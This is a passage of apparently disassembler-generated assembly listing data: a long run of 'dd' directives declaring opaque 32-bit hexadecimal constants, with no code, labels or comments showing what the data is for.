		dd 505EE131h, 0BC71F6FAh, 347BB383h, 0BFFC0102h, 46008F8Bh
		dd 0E9689C6Ah, 0CBCBCFC4h, 0F15FCC7h, 58E9EF23h, 36AB03D7h
		dd 4A216075h, 181B76C6h, 0E6957F51h, 9288C57Fh,	0CCA7ABFFh
		dd 23CAD85Ah, 0EACE49h,	0C32D07E0h, 0B018704Ah,	0A9577A0Ah
		dd 8DDC43A6h, 62499C1h,	0E0A707D1h, 25B1CB04h, 0BF806ACDh
		dd 2E84C541h, 7079894Fh, 301FBF57h, 8266B35Ah, 86072A02h
		dd 0A82FF716h, 0C724EC2Fh, 631282D4h, 0DF665F09h, 958D0A20h
		dd 6550F4F4h, 0ED4F837Eh, 0B4E436B4h, 555D0EE0h, 0E0714EEBh
		dd 6EBC18Ch, 607298E3h,	24C0A0D3h, 48800D1Ch, 8FC43B10h
		dd 1789B87Fh, 134F278Ch, 0F54B0112h, 7A6FBC75h,	5AFB20F4h
		dd 8ED6B85Fh, 0EB80C4B3h, 0CD6C1BEh, 65A80557h,	0C3820D3Eh
		dd 0A383E9DAh, 0EF3C8BFAh, 0B56F285Eh, 0BA16DB60h, 7AB3618Fh
		dd 93A72630h, 2642AC5Dh, 0B8F46B6Ch, 0DC3F388Bh, 0D55EE243h
		dd 6584F9D6h, 4EB19E31h, 905149ECh, 0B6E8F855h,	0FF58E79Bh
		dd 4635F100h, 0FCB5598Ch
		dd 0BFC2AF73h, 275CE7FFh, 841E90FDh, 0B73470FCh, 5C692354h
		dd 276912C1h, 950B7262h, 20DC4675h, 5B386B48h, 0A4A7D093h
		dd 0B8011D91h, 4F795013h, 0BD7DCBF0h, 75168690h, 0DA59722Ch
		dd 0FDE10C09h, 82955066h, 52A1C42h, 40D5EE5Ah, 19477E8h
		dd 84B0719h, 89607108h,	0D7D7C9A0h, 297DB6E2h, 21546289h
		dd 640F68ABh, 9DC3CC68h, 83E19063h, 9D56A4C0h, 0A882D12h
		dd 3E5D41F1h, 917BF280h, 0E9F8BF0Eh, 0CBD2CB4Ch, 520AC25Bh
		dd 0AEC025DBh, 4191B68h, 1967132Eh, 9AA86217h, 0DE8852E0h
		dd 774FD898h, 68AE31AEh, 0FFF63B33h, 0BF88D312h, 8B9337CAh
		dd 0AA0C6AE5h, 0DE054B39h, 0C1FBD6F6h, 97FADA89h, 87EFEF57h
		dd 5A8EB2A1h, 2D68E6A0h, 5E7BC50Ch, 0DFB7205Bh,	0E70E277Ah
		dd 805F2C92h, 0E072BA31h, 9CA3BC33h, 0DC40E505h, 6E978971h
		dd 1D0A094h, 45620041h,	0EC1A3D25h, 0A15EE915h,	9050920Bh
		dd 0B5D36650h, 4BC2B0F6h, 0F1800396h, 0D0A684AFh, 6C64B9CCh
		dd 3A2D402Eh, 0BA02D510h, 7563188Ch, 13AB4643h,	76D3C1A5h
		dd 195207C5h, 1D18487Ch, 45B22E32h, 14BE018Fh, 391B0E43h
		dd 0E950C242h, 2F0F7460h, 0CE7236D6h, 929A9013h, 59CF2F95h
		dd 50030ED4h, 0D57A2AADh, 0F2E904C0h, 314D81A9h, 22C57B4Bh
		dd 9183DCBFh, 0AC366D3Bh, 5D327768h, 855E4A3Bh,	1E820B8Ah
		dd 0D4F46129h, 0B514A7D8h, 80284CAh, 1482BA52h,	3EF086E9h
		dd 0C46862B7h, 94B6E898h, 4DA481EDh, 72171BDh, 483049EFh
		dd 2EC411E2h, 134CEB1Bh, 7D88EF9Dh, 19892C0h, 46F58145h
		dd 2B308302h, 0E7B61CEEh, 7A5A535Eh, 58162D52h,	793C9BF9h
		dd 0B592D04Eh, 0B93ABA7h, 5AA9F5B5h, 11C4B82Fh,	9F55D89Ch
		dd 4839DD6Bh, 80D325A9h, 6D02812Dh, 0D8014D5Ch,	5B078405h
		dd 84E3B3FBh, 0B2BE5450h, 0E509B4C8h, 9563643Fh, 0B3B51E75h
		dd 0A6A78BEDh, 0C080FD3h, 0B6520416h, 84AE06Ah,	0CFF33B4Fh
		dd 0FCA40248h, 578B9F5Eh, 0BC14572Eh, 0F2204DAEh, 0AB594B73h
		dd 5E5D20CFh, 6918C34h,	0F9CCADC4h, 0B143EE09h,	1AE6233h
		dd 7E9CE907h, 447C55C2h, 6B240CD1h, 454F1387h, 7B35090Bh
		dd 7C80D67Eh, 6821F57Eh, 7A1D557Fh, 0FEE18202h,	0CC64A04h
		dd 3022539Bh, 85AF703h,	0E15B66F8h, 0C54D4D94h,	6B5F02Eh
		dd 0BDA5265Eh, 92EC6375h, 25A09F19h, 1ECF211Ch,	0FA2756B0h
		dd 0D9283B20h, 8392DF6Eh, 0A83753E3h, 0D4E9B103h, 4FD9E22Ah
		dd 0BA5AB2FDh, 55C1670Bh, 6E12C42Dh, 9CB03213h,	7AF04830h
		dd 423CE82Eh, 83844633h, 0B982FE89h, 0A0900A98h, 426114A1h
		dd 0B8008640h, 5AC6F4Eh, 4A1D172Dh, 4447D30h, 6BE054B2h
		dd 8A07269Bh, 79430880h, 4F7D6805h, 4AB66F8Ch, 17E1EC47h
		dd 0D106C580h, 2872C25Eh, 0A0A904ACh, 0B5DC21CBh, 1D94DE6Eh
		dd 288F0D26h, 0D0C249D8h, 769470C1h, 515A24D0h,	88B40768h
		dd 84E972F1h, 969E0BD5h, 749109BCh, 228E77C0h, 64628BFDh
		dd 6BE20E75h, 0D34306CDh, 2CCB7B6Dh, 0C59DAF47h, 2B79A132h
		dd 0EAD737B7h, 4AF5E48Ch, 0F581FC5Eh, 0FF5E31ABh, 33E0678h
		dd 57C34C25h, 448D6F7h,	26600771h, 0E6604805h, 5CC256D1h
		dd 1302ED7Fh, 89F7250Ah, 2D3DE55h, 272F43B7h, 460CD360h
		dd 0E164A926h, 31936B02h, 0DA4FD86h, 83B9E055h,	0EB0CF92h
		dd 0B01B640h, 7A7968C3h, 432B22E6h, 5802A75Eh, 55625523h
		dd 0F05B4160h, 1EDC0641h, 0C4B6074h, 7082D4Eh, 2709C5F8h
		dd 0F7EB443h, 375E42C7h, 1ED88482h, 0B633F140h,	16D71246h
		dd 875A9A80h, 0A8E99B04h, 2B3F0961h, 7C002221h,	1A3541E1h
		dd 0C8A38351h, 53C0277Dh, 544328EAh, 9C49041h, 742D5D2Fh
		dd 55F1218h, 83629209h,	65388952h, 4B5F826Bh, 68777514h
		dd 0D387C56h, 96E95C0Ah, 0FFAE0047h, 475A740Ch,	836E58C0h
		dd 2EC8956Fh, 45250A6Dh, 2E70F84Fh, 501DD97h, 0B90958C2h
		dd 3E470951h, 0DF440535h, 0EBF384BAh, 0CF67B1C9h, 1E685D05h
		dd 0EFCD3473h, 10AB0335h, 0BD4FB7D1h, 20A25036h, 60BA8F5Ah
		dd 6E7689Eh, 8A09849Bh,	25B3D1A4h, 11A42DF5h, 121DCF6Bh
		dd 3A8474E9h, 5EFF4ABh,	6F4D5102h, 62D0011Eh, 271FD6B1h
		dd 6852E718h, 18756CBDh, 10BFDBE9h, 4F1281BEh, 7D0F713Bh
		dd 0FC07A030h, 775EF009h, 23892F40h, 7020CE46h,	0BA505F67h
		dd 812D0639h, 40A5C585h, 0B218EEADh, 6812503Ah,	70311CDAh
		dd 0FDE5E951h, 6E049A32h, 800B4931h, 0EF7B8F5Fh, 0CD294C14h
		dd 590840B6h, 5D3D1EC1h, 0FDDE0277h, 0A676A59h,	0DEB190FBh
		dd 1E2E3069h, 89517F0Ch, 50092892h, 0A99BB71Ah,	64B0D7EFh
		dd 648A7812h, 35BC0979h, 500075F0h, 4429BA4Bh, 2AD2E910h
		dd 680D024Fh, 0AB0F2280h, 6422D571h, 26A004A7h,	72A74B9h
		dd 0D947F4Eh, 751AC1BEh, 77A23B80h, 6ABB6C98h, 99D78B7h
		dd 67628425h, 0B3408ED0h, 132709BFh, 0D15A7F70h, 1ABA3C32h
		dd 5A95405Dh, 71D02C62h, 18A518EFh, 25FCE831h, 0F9708E09h
		dd 0D0B30409h, 488CC8h,	0BF01D468h, 13395AB0h, 529F61B5h
		dd 290257B2h, 0B725BBD0h, 258546F9h, 0D5EEBBE2h, 62185C97h
		dd 6801A0C1h, 2331B44h,	76E87878h, 0A00E958Bh, 7F560173h
		dd 307C2115h, 5D18B541h, 8186626h, 0CB1224C7h, 20D92505h
		dd 0B320F08h, 7D84DF21h, 0D0D8BAAAh, 51B41213h,	0A28A8109h
		dd 7B743B84h, 1EFE2CEEh, 0A23B8841h, 22C584Dh, 52B337C0h
		dd 0CE6DC901h, 25A7FBD3h, 0A657C747h, 96E9E6DBh, 6FCC2D99h
		dd 390CFB09h, 77E2DD36h, 0B5BE607Dh, 1BB806Fh, 8C4A15F2h
		dd 4E7711A8h, 6923E6F3h, 5C92E0C6h, 0D2A5AB66h,	6967CCEh
		dd 605EDC0h, 882E50F0h,	5F2751ECh, 0B6FD0292h, 54E97AA4h
		dd 6F8F783h, 838B205h, 2A1DFE2Bh, 0E8A65806h, 0D75F5D09h
		dd 68136C3Ch, 47887BADh, 29439756h, 2A351181h, 163A19CDh
		dd 1FC8BE3Fh, 0D77AB729h, 0B972020h, 11C6685Ah,	0DD5E2032h
		dd 0BD7C298Ch, 0C2D74152h, 4A1DDA5Dh, 281800F6h, 515259CFh
		dd 582BB12Fh, 692048F4h, 7C7800Bh, 93B4659h, 1834BDE9h
		dd 12C105F1h, 0A8197914h, 78B61326h, 2DDEE9F2h,	85C09140h
		dd 4B5BF80h, 3144AB4Dh,	0B90FC4FDh, 0CFF2002Ah,	29479528h
		dd 0BFE9BD5h, 0AE2595Eh, 0E0B4BA41h, 481E6BBFh,	1E80DF2Dh
		dd 0E9C52149h, 0B6705E90h, 0EE8698E3h, 0ED6FC0BDh, 62BFA4CFh
		dd 1DE2151h, 0E4F6D9E7h, 0F7820197h, 682FDA6Eh,	0A793F918h
		dd 0E9F89C74h, 3B52B2DCh, 80985766h, 58EF7DC5h,	9C957226h
		dd 9F21B10Dh, 9013593Ch, 0A4CBAFD6h, 68822B4Dh,	0E90138B1h
		dd 626966A3h, 62332705h, 7E4BB86Eh, 186B3225h, 0A417282Bh
		dd 851E5F86h, 0B43AE812h, 51D11590h, 4E4258C9h,	0BF2E845Ah
		dd 0E3CCA979h, 21E91356h, 0C96E44B1h, 5F53C337h, 0D4401875h
		dd 0CB58FB51h, 1B041F6h, 64C82993h, 41292EBh, 0A0AA0928h
		dd 8992E686h, 211EB30Bh, 18095863h, 9171F2E9h, 0E09AECFh
		dd 0F64F3094h, 4137Fh, 602A1E42h, 749D21BDh, 110D8C0Ah
		dd 0F29DC637h, 64E49097h, 972FBBA7h, 0B156A568h, 3AC3B06h
		dd 8AA9FD8Bh, 62551832h, 26F3D768h, 7C02E985h, 772C9F4Bh
		dd 4FABF592h, 108A777h,	0D855997Dh, 86EAA4EFh, 0DED0C641h
		dd 89E39566h, 0B103979Ah, 0C9C8834Ah, 572F6A64h, 93B9B939h
		dd 0FFB4DBF9h, 66C1FFA6h, 0D3799E68h, 4C25CB77h, 0ADD16716h
		dd 0DB02A370h, 0F661CF80h
		dd 822C61DFh, 29203335h, 0A8505E53h, 4FEF03D7h,	14D1BCE9h
		dd 0B22A2DDAh, 0C680673Ah, 1090E48h, 0AE915810h, 46F15364h
		dd 60E0016Eh, 2028FF3Ch, 26401104h, 0A066CF66h,	0D1D81229h
		dd 63C38024h, 2EE3F116h, 808AB640h, 45FE9540h, 4B0E7565h
		dd 0F08D8AC0h, 0C4895E4Ah, 520F84E1h, 50F0A4Dh,	0E5CB3A5Ah
		dd 0B7096B66h, 802EC38Eh, 7AED80F5h, 8D4FA1h, 76602D28h
		dd 5E4F7A8Bh, 41F01AF4h, 4C042EFAh, 68022CEEh, 0EE665332h
		dd 62A2544Eh, 3273EA18h, 5B1EF0B9h, 58897C35h, 1F6CE0Ch
		dd 511C212Dh, 689EE938h, 0F74638E3h, 429A9F32h,	0D049D705h
		dd 4366302Dh, 8EBA3A4Bh, 60E90949h, 8FE97CB1h, 7F2502E8h
		dd 428B910h, 7C2E6DDEh,	6B869DEAh, 34723A30h, 0AA3D5A96h
		dd 1308BC10h, 8CD540E9h, 0BC688700h, 0BA6F132Fh, 0AFBA4E96h
		dd 0A5A4C237h, 0ED7F10E1h, 31815E1Ch, 8902C6FBh, 0E8F412E4h
		dd 48B8974Bh, 4841DADAh, 4EA67CC7h, 7014A1A7h, 0A9970C71h
		dd 0E2ED5EEEh, 317CE9F0h, 0F033E4B7h, 0BFC5BACBh, 7193C3D9h
		dd 44058582h, 0F0292806h, 0B3FE4AFDh, 16523DB4h, 4AFD03C6h
		dd 0E941E8C8h, 0A26A91D2h, 0D6882A0h, 2C98D717h, 0E27CD04Bh
		dd 0E0915AFEh, 460BB08Fh, 37BF0796h, 0E580C0FBh, 8D87BE02h
		dd 6BADE4Eh, 8BB252D3h,	0FE242406h, 0DFF20EE2h,	242527Dh
		dd 0E230A4B8h, 0A7096841h, 8065C3F5h, 9F5D0A96h, 0EB01BF7Ch
		dd 350373C6h, 4F9B52Bh,	0B6C8108h, 978C3EBEh, 1399BC50h
		dd 948FC72Ah, 3928FA87h, 5CF570B2h, 124E43D3h, 7A2FAF6h
		dd 0E92745A6h, 664D000Ah, 1C89B353h, 0CECEC280h, 0DA0D77EAh
		dd 730FD610h, 19F67EAh,	2BE4E9D0h, 0C4AD250Eh, 8BC9015h
		dd 0EB704BC4h, 8E17548Ah, 0EADB27Fh, 8C2B69F2h,	183C2641h
		dd 0C39B07Bh, 845004B7h, 7BFD59Eh, 2D882751h, 0F5C20375h
		dd 7DADD1A8h, 1783C5D8h, 0A0C663C7h, 2240B6CBh,	759C03BBh
		dd 0DA212617h, 7D68A420h, 716F7153h, 0CB43F60Ah, 0CFF75DA1h
		dd 4270AC5Dh, 93FDB3E4h, 925C144h, 6FCFE38Ah, 8C88E27Ch
		dd 5AA6CF7h, 0F94A6E05h, 8309AE0Eh, 4273777Dh, 531200A4h
		dd 0B34A4BCEh, 4868C329h, 553F1044h, 3B2D3D05h,	62D72F3Ch
		dd 8C22437Fh, 0EB338217h, 0AEA8AFF5h, 0DBC9D731h, 0B421A4E0h
		dd 438069BBh, 2E711BBAh, 0CA810501h, 743D3957h,	0EBEA45h
		dd 7ED0A86h, 6122E9ECh,	5FF8258Ch, 5860F3D4h, 0CA109C68h
		dd 0A6EF69ABh, 6F82696h, 8D5F6EFh, 2CB65213h, 90ECFD13h
		dd 0F4A1AC5Ah, 5B27A6AFh, 5CC24AA2h, 9877DE31h,	4A57E9B1h
		dd 2CE5927Ah, 0C2CB5657h, 66F56EE8h, 60DD98C0h,	285B31A3h
		dd 799059EAh, 288AA0C8h, 0BE2C278Dh, 2D20B658h,	74E98BAh
		dd 0E2401CBh, 0F2E5C245h, 26899B71h, 2EE5DBA9h,	0BF57802Bh
		dd 67D8321Eh, 81E7D106h, 2C6288EFh, 2334745h, 760DC84Fh
		dd 18507Fh, 0D357B6C3h,	86C2E903h, 1BEC22BFh, 81C7559Fh
		dd 8FEC323Fh, 3C7A5D56h, 329ADC95h, 887161AEh, 3FA05292h
		dd 0D9E29F29h, 4F3A64DDh, 0BD300015h, 2F0C4F4Ch, 2739F2B7h
		dd 0BD2EE1Ah, 0EA39B200h, 6DB8506Eh, 1B412D38h,	609A450h
		dd 668C99E9h, 4859F6EDh, 0C7032DEFh, 28C223A4h,	77D5F7B0h
		dd 0D7EA10F8h, 759A6990h, 0FA9EFC9Fh, 81C0FDD9h, 25734BEEh
		dd 85F6937h, 502808D4h,	0D47E8958h, 65680182h, 5A0FDE6Dh
		dd 6AEA9C81h, 81761E57h, 0C015F80Ch, 37485199h,	0B106B259h
		dd 0C8D769EEh, 0B26EF0BBh, 0C244B1D9h, 455D8FE0h, 9FBB9088h
		dd 0A7406D50h, 86350408h, 0BB079F7Ah, 0CF319600h, 0BF79FDE9h
		dd 930498A2h, 21FC4D69h, 900220AEh, 52B3685Bh, 538F0725h
		dd 355FA165h, 9700FF84h, 50F34B71h, 0F8C90781h,	6035D736h
		dd 3F035EE1h, 0F13B187Ch, 1037025Ch, 762EAD68h,	13306A9Bh
		dd 2E81E11Bh, 954BC78Bh, 7033B042h, 5A35902Dh, 4088215h
		dd 6089EFFFh, 0CBAFEA44h, 0F3F70481h, 131337FDh, 68F5A522h
		dd 0A0E9C297h, 4F7C5575h, 6C805F4Bh, 146A50CFh,	0F27A6995h
		dd 42319081h, 935E75CDh, 0C4C7B378h, 756C495Fh,	0E2366759h
		dd 274F7FF7h, 0C4D93787h, 0E9702D64h, 10C65118h, 4056EA21h
		dd 3DFA59C2h, 3527F95Eh, 0FAC5B7E2h, 68F0A884h,	61414112h
		dd 204A3596h, 62402C03h, 29E70481h, 92413B4Ah, 7F2948A1h
		dd 64096CB1h, 0B49A5C08h, 2E0C31F3h, 48527E33h,	0AA4E63CBh
		dd 0D918EC1Ah, 0A75ACA12h, 0F52D3D65h, 2E9F010h, 1CF34F4Ah
		dd 0E39F0914h, 0EF390881h, 163A2C0Dh, 38F67C2Ch, 11685CC1h
		dd 0B6598903h, 1DCC7FEFh, 0D20A4990h, 0EB0DE07Eh, 0AF198800h
		dd 73E9423Fh, 0F0C3D7E2h, 0DDF4FEC2h, 0EAC1E7C2h, 0D578C002h
		dd 2A482F4Dh, 631152E0h, 50E020h, 0F49F23C3h, 0E9D9892Eh
		dd 20BDB57Fh, 1A03247Eh, 0FA5DF629h, 41E15E54h,	0D0FD2C57h
		dd 36C47F47h, 5FB3DABAh, 0FFBA25FBh, 24EF2327h,	8080099Bh
		dd 5B23EBC9h, 281E80D2h, 745A2D22h, 14255280h, 17D19D76h
		dd 0CABF5B17h, 5A540911h, 5DCB0756h, 0E9D16747h, 0FC3BC00Eh
		dd 0ABC8B4DEh, 68985908h, 0E7800193h, 6E632945h, 0DA8D7A1h
		dd 0BFBB4ED6h, 64FE8D62h, 6B282067h, 8B38B9BEh,	0FB17605Ah
		dd 0B01909CFh, 0DF8746FDh, 40BF1774h, 1B8DBACAh, 7D800304h
		dd 25F53153h, 0F96ECC0Ch, 0D2FB4030h, 0D19886DDh, 0CBF1D05Bh
		dd 0F8FB54AFh, 54D490C9h, 0ADFE9F5Bh, 8B6E5C71h, 88BB4BD9h
		dd 0BC922338h, 4180B835h, 508519A8h, 7F61FB54h,	0BE042964h
		dd 0CC9EF6A8h, 0B5B08279h, 0F925D577h, 1A655583h, 0CEBE0212h
		dd 5F894B38h, 560128CDh, 0C4DB605Fh, 0A0E80180h, 3E7DCDE2h
		dd 3096259Ah, 0A08EEBAAh, 4EA9E2Ah, 0B753E828h,	0ED84EE45h
		dd 22DF5D81h, 6D048A39h, 8233F729h, 0D7D13F03h,	740D488h
		dd 320FC380h, 88FE36EBh, 56C7D7CBh, 4091F695h, 72854EBh
		dd 7A4F9C90h, 98BA1316h, 0C87FAF75h, 9A8A14Dh, 0D539DF68h
		dd 0D622D430h, 0D4312824h, 26E0AF97h, 0F49905Ah, 112B685Fh
		dd 0AF71F1C4h, 0B9829B27h, 92D455A4h, 95A8728Ch, 41060FF5h
		dd 907F0150h, 325F2C55h, 0AF565E25h, 18A967Dh, 5E6F07CCh
		dd 51B2ACE9h, 0C1F7EE8Eh, 0D7C6D5FEh, 4E508BEAh, 3DAF5D5Bh
		dd 44EB2BD7h, 7697ACEh,	58C5E728h, 0C19487E0h, 45E91B06h
		dd 0B7ED6FD2h, 79386E3Ah, 0B8FE8996h, 0A380B4A4h, 0F29A7A87h
		dd 25D66B29h, 0C3978383h, 0E55D0987h, 1FEE8908h, 787D85E1h
		dd 5DBE0095h, 0BF612E13h, 9D0712D3h, 1F81BBFCh,	71A7BD76h
		dd 0F679AB7Fh, 0D11F0ED0h, 0A6915A4Bh, 6F222F5Bh, 7695D810h
		dd 0BC0BD468h, 60724826h, 729DBF57h, 3F8DB5Bh, 0F10F1C05h
		dd 4A6B22Bh, 2337E474h,	4B161BB8h, 0F684DD19h, 1A2C5C19h
		dd 0FB221184h, 1B40859Fh, 0BA6549E9h, 67324872h, 0D2984F20h
		dd 6A3282EBh, 40115137h, 14EAA1Ah, 0FB29EB42h, 89051CE9h
		dd 0DE688CDDh, 0B96E526Ah, 6ACF6812h, 0E9507630h, 0FAC75594h
		dd 0CC30F209h, 3E524583h, 113F2ACh, 0A28801EEh,	3B34030Bh
		dd 78F93644h, 1235F2BFh, 0EC3729AAh, 1310D80h, 51F69D22h
		dd 4269F160h, 0EB374E55h, 0B0C7A26h, 525AFAB0h,	680E4A79h
		dd 978F99A9h, 0FD7E7B35h, 0C6D4B24h, 0B7231F41h, 2B149D2Fh
		dd 5E0C98A0h, 2BCA8D88h, 0E1F1DC5h, 0A3D99189h,	107F560Fh
		dd 98FA07Dh, 5A04E1C1h,	80075FE4h, 54344754h, 27E2D295h
		dd 9FC759CEh, 4927B2A4h
		dd 0B144CA6Dh, 3D7EAAE1h, 4EEA28A9h, 0FD43143h,	3B6BFD7h
		dd 2C681229h, 12D7CC53h, 2CE9584Eh, 0BE213E9Fh,	7CD8681Dh
		dd 9D644AD7h, 0F9571268h, 2C7982B1h, 506AB62Fh,	3090628Ah
		dd 2D323460h, 0EC7BBA47h, 267F0FCEh, 0F68053BBh, 0FB151289h
		dd 9CEE24E9h, 585B1F92h, 0B780E636h, 7CE96BC8h,	524CB60h
		dd 0A501C62h, 2DF8011Eh, 44043E07h, 0BE6A1B22h,	0E9B030BDh
		dd 0F197594Dh, 31A80AB6h, 9052679Bh, 67435D05h,	5669EBB6h
		dd 78BB807Ah, 0E2C1122Ch, 2E5E0860h, 0BFB40201h, 0CE01BD76h
		dd 73475B4Bh, 0A495C082h, 0B2408890h, 21B27944h, 0C1A658B7h
		dd 396C3C50h, 0EAD1FD73h, 62D853DFh, 18E8A2FDh,	1101629Dh
		dd 0CF72571h, 0F2FD29A9h, 0AE4B0038h, 5E8B372Ch, 7138E487h
		dd 0CB30CA41h, 0DC23FDCBh, 37653D6Fh, 0F048D2A0h, 8338D082h
		dd 0A489CB51h, 9814C4B9h, 0E26F69D3h, 251D5077h, 0CED51433h
		dd 0AA3E757Bh, 8DFF8136h, 60077562h, 346B63A3h,	0BB545B8h
		dd 80D2C7A1h, 4220EB81h, 0CC02FCEh, 380F5BEAh, 0E5C37E29h
		dd 68570840h, 100D311Dh, 49488B4h, 6E74C9EFh, 5F336844h
		dd 5819BA00h, 294B3E86h, 1749DFA4h, 0EDB2A3E9h,	0D03D7AF0h
		dd 34EC1340h, 611FAEF4h, 0F12920F6h, 6F78F881h,	0C139530h
		dd 503F16E3h, 4044A30Dh, 0D15AF7B4h, 48EA27BEh,	0C025E324h
		dd 2DCF6C5h, 0C058E588h, 0AF6203EDh, 85B4750h, 808003EDh
		dd 0D830D9F3h, 12B85B58h, 94E4E76Bh, 8A1A5E29h,	0FE885FBAh
		dd 6328EFECh, 9441EBF2h, 9CD9B1B2h, 0DC625472h,	0B30F2F05h
		dd 6ED0B038h, 44CE39B2h, 8003BAC6h, 480BF3FFh, 54CD9EC9h
		dd 3A4DE970h, 469E064Ah, 0E37416CAh, 6773B900h,	9D639528h
		dd 0A8BC16A0h, 0C395C273h, 0CDA88D74h, 0D44A3D2h, 6323E568h
		dd 4DFB44DAh, 0B8583CCEh, 0DA57E9E2h, 82F12DC5h, 0F201DEB0h
		dd 0C253F0A1h, 72685C5Fh, 632FBDFh, 0DD8C63E9h,	0D142462Fh
		dd 3FFC49CCh, 0E04800CBh, 202A24Bh, 6E086855h, 5779638Ch
		dd 85EDD189h, 45C92ADAh, 295ED33Eh, 907BA213h, 99EC5E8h
		dd 0C47271B6h, 0A725567Fh, 2660551Fh, 8274E9DFh, 24626082h
		dd 36F61225h, 4959184Bh, 0CFE093B7h, 0FBB9595Ah, 0E49EA84Ah
		dd 2D06A7BAh, 80E94087h, 38DE73EAh, 0D53CEDC5h,	0C2C4C474h
		dd 12BB00B9h, 0F4306248h, 144A60BCh, 2EFC147h, 0AECC81B8h
		dd 239C008h, 0E9C5F8A4h, 9DF31943h, 0DF207DA8h,	0BEE91864h
		dd 0FBF22360h, 74150C12h, 6C1EE5ABh, 0E2AEB414h, 705A8525h
		dd 45E037CDh, 0CBDC9DDAh, 0A5CCF7CBh, 2E88AB94h, 0B60AC6Ch
		dd 2C82D77Dh, 98F539EBh, 84CD34Dh, 740167C6h, 5E130CC8h
		dd 571F70BAh, 10584FE9h, 614D84DAh, 680E58F2h, 0BE175E75h
		dd 1521328h, 0DB6C9BBAh, 528DE951h, 4D545FFCh, 522E9A83h
		dd 0DB8BCC11h, 9A236828h, 5BE740DAh, 271F79B7h,	6E35DE72h
		dd 8D81105Ch, 0F4444108h, 0A52F73E1h, 71A86E99h, 0B2689184h
		dd 2E200C0Ah, 16890C2Dh, 0ED0EE426h, 0E90840C8h, 4E959F4Dh
		dd 0D8AFFB34h, 23D7A1E6h, 200340B0h, 0E3D16FEh,	0C1A3066h
		dd 4BEB4869h, 676F26Bh,	72E57A31h, 51FF011Eh, 0A8E922C5h
		dd 86902A74h, 670C38B2h, 746F0D0Dh, 9A5AA3Fh, 0FA1E617Fh
		dd 0CA882AA9h, 76F32668h, 57765AC9h, 20686030h,	0AC599748h
		dd 559CC8C2h, 0BAA68DF3h, 519B1509h, 866E423Ch,	0E569AD56h
		dd 0D66806BCh, 0F6272F2Eh, 42F55195h, 0F19091EEh, 0F5828D2Ah
		dd 565262E8h, 253BCF9Dh, 0DB251D65h, 1DF22D9Dh,	4AC5B4BFh
		dd 0F189F85Dh, 7280FE9h, 80EFD003h, 0E0D11CF7h,	9FDB9375h
		dd 9AB65BEh, 0BA42FFFDh, 0F387BE74h, 84DB0EDFh,	6AD8DE4Fh
		dd 0B639F21h, 0B515CF7h, 91792D62h, 175B7F63h, 1C04CD28h
		dd 114A553h, 0BC084EAh,	0CED45F08h, 66E9545Ah, 2BF36A55h
		dd 59B8B8CDh, 91E05B25h, 0F2A4E54Eh, 0FD292203h, 0EAD2F718h
		dd 25E3F028h, 9F0EC621h, 91F4EA2h, 0E568E9DFh, 92DA364h
		dd 5AB96EB4h, 0DB5D1B78h, 0E3BD4FEAh, 5E7658A2h, 0B1C7051Ch
		dd 0D3A33AB3h, 40140BF1h, 4E82E0C1h, 1AF99E5Ah,	0B7595999h
		dd 9AA67530h, 1C285931h, 0B4C2F8D6h, 0D60FD7C2h, 78D96299h
		dd 3179386Bh, 6616652Dh, 6CC73069h, 1031EEBBh, 0FA48B525h
		dd 5908819Ah, 0E0FEF9C6h, 783ECDC6h, 0A2EE1A44h, 9E390208h
		dd 90BCD22Eh, 0FAF0F0Ch, 0ADA46E1Eh, 405800B1h,	2F22282Dh
		dd 0B88B2A26h, 0C214D08h, 0CB51EB3h, 1BADD95h, 0C74BD4ECh
		dd 5521C909h, 2C6DE259h, 0ACF8FC6Bh, 0B164F0E9h, 51504690h
		dd 0E262ACFEh, 40F329BEh, 0B505FB77h, 14EC0BF9h, 4E3B17A2h
		dd 230AA57h, 2FE9D5F7h,	2EE49267h, 5AD2681Ch, 0F339F52Dh
		dd 6A34F85Bh, 72399FC4h, 51AF8EAEh, 0C1DAC86Dh,	0A883E24Eh
		dd 101E803Eh, 0ED8949E9h, 0F039D75Fh, 0A9173B68h, 0DD591D27h
		dd 0E57D4E89h, 967749B0h, 0E953BD2Ch, 3004FC35h, 46827CC2h
		dd 44445E59h, 25FDBB01h, 0F8C9E985h, 0DCE97E60h, 0ECBA197h
		dd 2E005F5Eh, 4D5861C1h, 0A4E16A4Ah, 4BFB9F3Bh,	95CCB326h
		dd 0A8C9ED71h, 4A2D8214h, 0C9307F4Ah, 259595E5h, 21916400h
		dd 0DE82E3C1h, 0AAB674F3h, 809DF4E1h, 0C6BB53BBh, 9851183Ch
		dd 35BC01B8h, 6DE9C01Bh, 6A8B3A28h, 3D865A63h, 4DE81D4Ah
		dd 22FD05B2h, 582CE9C8h, 0E3509F11h, 7D1C3AB7h,	292F8E52h
		dd 979A755Fh, 7B93FA61h, 0BBF4C6ECh, 0B6A413A8h, 42512D9Fh
		dd 4AD1D784h, 0EC5EEFC2h, 514384Bh, 0B7D7F85Bh,	0DF9CE6E2h
		dd 3576FE29h, 577C4A09h, 197F55BAh, 0CE305077h,	4C4EF4AAh
		dd 0E9C3F17Bh, 48749CFh, 0D7A9A259h, 16ACF0A0h,	2CEB76E9h
		dd 3A4E41F4h, 820610B2h, 0C4C131Ah, 0DB47DA05h,	0B9C44A78h
		dd 0E3BF0594h, 0EA13DF90h, 785EDF09h, 70D697B7h, 0A566615Ch
		dd 72C9B0E9h, 77888222h, 0CCDEC28h, 0F0C685Ah, 705C7BBFh
		dd 5396DF53h, 48569ABEh, 0DBEF0244h, 4055E816h,	0A2D9D56h
		dd 0DF012233h, 0CF69EF52h, 7B58BDFCh, 2ED90020h, 1CB76853h
		dd 5B3D2B34h, 0DBAE4B09h, 0BE5603A8h, 35909BAh,	0FFECE18h
		dd 0E6B062D2h, 0D5300E5Dh, 3FCA0C56h, 0E90809C9h, 642EDBB7h
		dd 220406CFh, 2757B9B9h, 0E0CDE87Ah, 4FB1B857h,	4BC2E376h
		dd 16BD8BFBh, 0C4D5796Fh, 1E5B4280h, 8D605035h,	0D1A16F4h
		dd 0E1D3160Bh, 2FA12547h, 1725D020h, 68DF0B93h,	39993A12h
		dd 0EEA56EBBh, 0D1045D69h, 0BD9A02E9h, 7BC01417h, 5912D6C8h
		dd 572DA285h, 9623A2F8h, 5B648036h, 0ED813899h,	29961C9Eh
		dd 0F7D71B04h, 208EBE01h, 0FEB220B7h, 3E23A49Fh, 0B60E9B54h
		dd 1960C75h, 252AB0CFh,	1D0B6E06h, 134A58B8h, 0B1028F64h
		dd 0F754A56Fh, 0FE89E5C5h, 8F9ADF5Ch, 4628BD6Eh, 2C781E94h
